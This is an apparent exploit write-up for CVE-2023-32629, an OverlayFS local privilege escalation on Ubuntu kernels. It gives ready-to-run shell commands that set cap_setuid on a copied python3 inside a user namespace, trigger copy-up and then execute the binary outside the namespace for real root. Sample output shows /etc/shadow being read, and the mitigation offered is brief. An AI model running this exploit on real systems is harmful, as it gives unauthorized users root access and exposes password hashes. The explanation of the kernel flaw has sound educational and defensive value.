
OverlayFS Local Privilege Escalation - Full write-up to full escalation
OverlayFS Local Privilege Escalation - Full write-up to full escalation
For educational and authorized security research purposes only.
Severity: High
Type: Local Privilege Escalation (LPE)
Affected: Ubuntu kernels prior to May/June 2023 patches
Requirement: Unprivileged user namespaces enabled (default on Ubuntu)
CVE-2023-32629 is a vulnerability in the Linux kernel's OverlayFS implementation. It abuses the interaction between user namespaces and filesystem capabilities during the OverlayFS copy-up operation to achieve local privilege escalation from any unprivileged user to real host root.
When you run unshare -r, the kernel creates a new user namespace and maps your host UID to UID 0 inside it:
/proc/self/uid_map:
0 1001 1 ← "UID 0 inside namespace = UID 1001 (lowpriv) outside"
This means you appear as root inside the namespace, but the host kernel always translates back to your real UID when performing filesystem permission checks on host resources.
OverlayFS stacks a lowerdir (read-only) and an upperdir (read-write) into a merged view. When a file in lowerdir is written to through the merged view, the kernel copies it to upperdir first — this is called copy-up.
Critical: Copy-up is performed by the kernel itself using host credentials, regardless of which namespace triggered it. All extended attributes (xattrs), including filesystem capabilities, are preserved during this operation.
| Mechanism | Requires root ownership | Granted by |
|---|---|---|
| SUID bit | ✅ Yes | chmod u+s |
Capabilities (cap_setuid) | ❌ No | setcap + trusted xattr |
This distinction is the core of the exploit. Capabilities are honored by the kernel based on the xattr alone, regardless of who owns the file.
unshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
echo >> m/python3 &&
cp u/python3 /tmp/rootshell &&
chmod 4755 /tmp/rootshell
"
/tmp/rootshell -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
-rwsr-xr-x 1 lowpriv lowpriv 8016833 /tmp/rootshell
PermissionError: [Errno 1] Operation not permitted
The cp and chmod commands ran inside the namespace, where UID 0 maps to lowpriv on the host. So:
/tmp/rootshell was owned by lowpriv, not real rootlowpriv-owned file only grants lowpriv — which we already hadcp operation also stripped the capability xattrs from the binaryunshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
echo >> m/python3 &&
m/python3 -c 'import os; os.setuid(0); os.system(\"/bin/bash -p\")'
"
root@hostname:~# whoami
root
root@hostname:~# cat /etc/shadow
cat: /etc/shadow: Permission denied
The shell was root inside the namespace only. When it tried to access /etc/shadow, the kernel performed the VFS permission check using the translated host UID:
Process UID (inside NS): 0 (looks like root)
Kernel translation: 0 → 1001 (lowpriv on host)
/etc/shadow permissions: 640 root:shadow
Effective checker UID: 1001 (lowpriv)
Result: EACCES — Permission denied
The namespace bubble never breaks through to real host root when touching host filesystem resources.
# Step 1: Set up the OverlayFS inside the namespace and EXIT
unshare -rm sh -c "
mkdir -p l u w m &&
cp /usr/bin/python3 l/ &&
setcap cap_setuid+eip l/python3 &&
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
touch m/python3
"
# touch triggers kernel copy-up: l/python3 → u/python3
# kernel runs copy-up with HOST credentials, preserving cap_setuid xattr
# Step 2: Verify the capability survived on the host filesystem
getcap u/python3
# u/python3 cap_setuid=eip ← trusted xattr set on host FS
# Step 3: Execute OUTSIDE the namespace
u/python3 -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
root@hostname:~# whoami
root
root@hostname:~# cat /etc/shadow
root:*:20305:0:99999:7:::
ubuntu:!$6$G/ZfsnyX...
lowpriv:$y$j9T$0XsK...
admin:$y$j9T$TQiE...
1. setcap inside user namespace
│
│ writes cap_setuid as trusted xattr on l/python3
▼
2. touch m/python3 → OverlayFS copy-up triggered
│
│ kernel copies l/ → u/ using HOST credentials
│ ALL xattrs preserved, including cap_setuid
▼
3. u/python3 exists on HOST filesystem
│
│ owner: lowpriv (irrelevant for capabilities)
│ xattr: cap_setuid=eip (kernel trusts this)
▼
4. Execute u/python3 OUTSIDE the namespace
│
│ no UID mapping in effect
│ kernel reads cap_setuid=eip as host-level capability
│ os.setuid(0) → real host root
▼
5. Shell has genuine UID 0
│
│ VFS checks pass as real root
└─ /etc/shadow readable
The kernel should not honor trusted capability xattrs that were set from within a user namespace during copy-up, because those xattrs carry host-level trust. Failing to enforce this boundary is the bug.
The namespace gave us the ability to set a trusted capability on a file; the kernel copy-up smuggled that capability onto the host filesystem; executing outside the namespace made it real.
sysctl -w kernel.unprivileged_userns_clone=0
unshare + mount overlayfs combinations from unprivileged usersThis tool is provided for educational purposes and authorized security testing only. Unauthorized use against systems you do not own or have explicit written permission to test is illegal. The author is not responsible for any misuse.
| Inside Namespace | Outside Namespace |
|---|
| UID 0 means | lowpriv (mapped) | real root |
setuid(0) effect | no-op (already NS-root) | real escalation |
| Host FS access | translated → lowpriv | full root |
cap_setuid honored | within NS only | yes, host-level |